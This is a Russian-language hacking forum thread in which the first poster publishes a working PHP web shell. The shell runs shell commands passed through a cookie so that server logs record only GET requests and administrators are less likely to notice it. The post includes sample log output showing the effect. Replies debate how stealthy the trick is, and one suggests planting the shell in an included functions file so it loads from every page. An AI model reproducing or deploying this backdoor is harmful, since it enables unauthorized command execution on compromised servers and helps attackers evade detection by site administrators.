В один момент я задумался о том что во время использования какого-либо веб-шелла в логах сохраняються последовательные POST запросы к одному и тому же файлу, что может кидатся в глаза при анализе логов администраторами. Я подумал почему бы не заменить передачу через POST на COOKIES. Реализацию подобного мне не приходилось наблюдать. Вот и набросал небольшой веб-шелл, который в логах оставляет GET записи. Для работы должно быть разрешено использование cookies и Javascript. cookie-shell.php PHP: <?php @set_time_limit(0); $cmd = $_COOKIE['cmd'] ? $_COOKIE['cmd']: 'ls -la'; ?> <html> <head><title>Cookies web-shell PoC</title></head> <body> <script type="text/javascript"> function send(val) { document.cookie = "cmd="+val; location.reload(); } </script> <form> <input type="text" id="cmd" value="<?=$cmd?>"/> <input type="submit" onclick="send(document.getElementById('cmd').value)" value="execute"/> </form> <pre> <?php ob_start(); system($cmd); $res = ob_get_contents(); ob_end_clean(); echo htmlspecialchars($res); ?> </pre> </body> </html> После использования скрипта в логах останется примерно такое: Code: 127.0.0.1 - - [24/Jun/2009:22:17:56 +0300] "[B]GET /cookie-shell.php[/B] HTTP/1.1" 200 455 "http://localhost/cookie-shell.php" "Mozilla/5.0 (X11; U; Linux i686; uk; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11" 127.0.0.1 - - [24/Jun/2009:22:17:56 +0300] "[B]GET /cookie-shell.php[/B] HTTP/1.1" 200 455 "-" "Mozilla/5.0 (X11; U; Linux i686; uk; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11" 127.0.0.1 - - [24/Jun/2009:22:17:58 +0300] "[B]GET /cookie-shell.php[/B] HTTP/1.1" 200 289 "http://localhost/cookie-shell.php" "Mozilla/5.0 (X11; U; Linux i686; uk; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11" 127.0.0.1 - - [24/Jun/2009:22:17:58 +0300] "[B]GET /cookie-shell.php[/B] HTTP/1.1" 200 289 "http://localhost/cookie-shell.php" "Mozilla/5.0 (X11; U; Linux i686; uk; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11" Интересует Ваше мнение по практическому использованию даного метода.
АррЪ! Забивать шелл в файл c functions или т.е =) и потом подгружать шелл уже с любой страницы которая инклудит этот файл вЭлосипед ё-маё =)
ну дык Тот же Madshell какбе POSTами шлет(никаких параметров), да и другие тоже. Топикстартер сам себе противоречит. Его шелл точно также оставляет последовательные GET запросы к одному и тому же файлу. Это просто попытка перепрыгнуть свою голову, имхо.
m0Hze понял тему. Ведь например при обычном использовании форума или CMS намного больше остаётся GET запросов чем POST...
Идея хорошая и правильная. Кстати, года 4-5 назад подобный веб-шелл (передающий команды через кукисы) уже релизил кто-то (никак не могу вспомнить кто это был), но тогда как-то никто не оценил этой идеи, а затем уже пошла мода переделывать все шеллы, чтоб юзали POST вместо GET'a, чтоб было "меньше палева" в логах.